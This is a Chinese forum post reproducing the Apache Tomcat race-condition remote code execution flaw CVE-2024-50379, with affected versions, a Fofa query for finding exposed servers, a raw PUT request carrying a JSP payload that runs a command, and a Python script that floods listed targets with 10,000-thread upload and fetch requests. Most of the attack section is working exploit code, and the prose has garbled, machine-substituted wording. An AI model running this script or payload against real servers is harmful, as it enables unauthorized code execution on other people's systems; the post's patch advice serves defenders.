曂沅仴駦 发表于 2024-12-26 00:13:31

Apache Tomcat条件竞争致远程代码实行漏洞复现(CVE-2024-50379)(附脚本

0x01 产物形貌:
       ‌Tomcat是一个开源的轻量级Web服务器,重要用于处理惩罚Servlet和JSP页面。‌它是Apache软件基金会的一个焦点项目,支持最新的Servlet和JSP规范,并且是免费的开源软件。Tomcat特别适合于中小型体系和并发访问用户不多的场所,是开辟和调试JSP程序的首选工具。‌
        Tomcat的重要特点包括易于配置和管理、精良的兼容性以及高性能和可靠性。它支持多种开辟框架和编程语言,如Java Servlet、JavaServerPages、Java Expression Language和JavaWebSocket技能。Tomcat利用了多线程设计,能够处理惩罚大量的并发哀求,并且具有较高的稳定性和可靠性

0x02 漏洞形貌:
        Apache Tomcat 中 JSP 编译期间的利用时间 (TOCTOU) 争用条件漏洞允许在启用默认 servlet 写入(非默认配置)时对不区分大小写的文件体系进行 RCE。当默认 Servlet 的 readonly 参数被设置为 false(非默认配置)并允许利用 PUT 方法上传文件时,攻击者能够上传包含恶意 JSP 代码的文件并通过条件竞争不断发送哀求,触发 Tomcat 对其解析和实行,终极实现远程代码实行
0x03 影响版本:
windows环境:
Apache Tomcat 11.0.0-M1 to 11.0.1Apache Tomcat 10.1.0-M1 to 10.1.33Apache Tomcat 9.0.0.M1 to 9.0.97 0x04 搜刮语句:
Fofa:title=="Apache Tomcat"
https://i-blog.csdnimg.cn/direct/373e39c5bf524e7dacd3ce248a48f58c.png
0x05 漏洞复现:
环境搭建地点:
Index of /dist/tomcat/tomcat-9
https://i-blog.csdnimg.cn/direct/938f6e169f0344128e5ccf56fe707903.png
修改conf/web.xml配置 增加下列配置
      <!-- 设置 readonly 为 false,允许资源被写入或修改 -->
      <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
      </init-param> https://i-blog.csdnimg.cn/direct/d36ada4a332b4ab48833cfa00a75ff30.png
利用发包工具同时发奉上传哀求包与读取哀求包,在多线程条件下实现RCE
上传哀求包:
设置线程10000,同时上传aa.Jsp bb.Jsp 通过回显201可判断是否成功。注意这里上传文件后缀要为Jsp。因为利用大写的Jspx,Jsp的时候,tomcat用的DefaultServlet来处理惩罚允许文件上传。
PUT /aa.Jsp HTTP/1.1
Host: your-ip
Content-Type: application/json

aa<% Runtime.getRuntime().exec("calc.exe");%> https://i-blog.csdnimg.cn/direct/99133b18e7004f90908a4721a39420fa.png
读取哀求包:
设置线程10000,同时读取aa.jsp bb.jsp 通过回显200可判断是否成功
https://i-blog.csdnimg.cn/direct/258a31ce1dfa450fb1d359e2cd2a5ef0.png
https://i-blog.csdnimg.cn/direct/17d87dc8ce7a41639d27b81a94c87f76.png
上述两个哀求同时操纵:
通过大写Jsp利用DefaultServlet处理惩罚实现文件写入,通过小写jsp利用JspServlet处理惩罚实现文件读取
https://i-blog.csdnimg.cn/direct/0454b423a6aa4d89b8fa05559d98eaf0.png
https://i-blog.csdnimg.cn/direct/aaacc2b9d05b408a8dca69ed5a0cb7d8.png
0x06 批量检测脚本:
批量检测:
python poc.py -f url.txt
单个检测:
python poc.py -u your-ip import requests
import urllib3
from urllib.parse import urljoin
import argparse
import ssl
import concurrent.futures

ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
      urls = file.read().splitlines()
    return urls

def check(url):
    protocols = ['http://', 'https://']
    found_vulnerabilities = False

    for protocol in protocols:
      target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
      print(f"Checking {target_url}...")

      target_url_put1 = urljoin(target_url, "/aa.Jsp")
      target_url_put2 = urljoin(target_url, "/bb.Jsp")
      target_url_get1 = urljoin(target_url, "/aa.jsp")
      target_url_get2 = urljoin(target_url, "/bb.jsp")

      headers1 = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Content-Type": "application/json"
      }

      headers2 = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
      }
      payload_put = "aa<% Runtime.getRuntime().exec(\"calc.exe\");%>"

      #增加线程
      with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
            futures = []
            # 循环执行10000次
            for _ in range(10000):
                futures.append(executor.submit(requests.put, target_url_put1, verify=False, headers=headers1, data=payload_put))
                futures.append(executor.submit(requests.put, target_url_put2, verify=False, headers=headers1, data=payload_put))
                futures.append(executor.submit(requests.get, target_url_get1, verify=False, headers=headers2))
                futures.append(executor.submit(requests.get, target_url_get2, verify=False, headers=headers2))

            for future in concurrent.futures.as_completed(futures):
                try:
                  response = future.result()
                  print(f"Response status: {response.status_code}")
                  if isinstance(response, requests.Response):
                        if (response.status_code == 201) or (response.status_code == 200):
                            found_vulnerabilities = True
                except Exception as e:
                  print(f"Error occurred: {e}")

            if found_vulnerabilities:
                print(f"\033[31mFind: {url}: Apache Tomcat CVE-2024-50379 Conditional Competition To RCE!\033[0m")
                return True

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
      check(url)
    elif txt:
      urls = read_file(txt)
      for url in urls:
            check(url)
    else:
      print("help")
https://i-blog.csdnimg.cn/direct/e717a304180a42ceaea50e53c36285d1.png 
https://i-blog.csdnimg.cn/direct/a4325ba0855e4730afeae0f0f8d8be61.png
0x07 修复建议:
安全版本:
Apache Tomcat 11.0.2
Apache Tomcat 10.1.34
Apache Tomcat 9.0.98
官方已发布最新版本修复该漏洞,建议受影响用户将Tomcat升级到安全版本及以上的版本。
下载链接:
Tomcat 11:https://tomcat.apache.org/download-11.cgi
Tomcat 10:https://tomcat.apache.org/download-10.cgiTomcat 9:https://tomcat.apache.org/download-90.cgi

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Apache Tomcat条件竞争致远程代码实行漏洞复现(CVE-2024-50379)(附脚本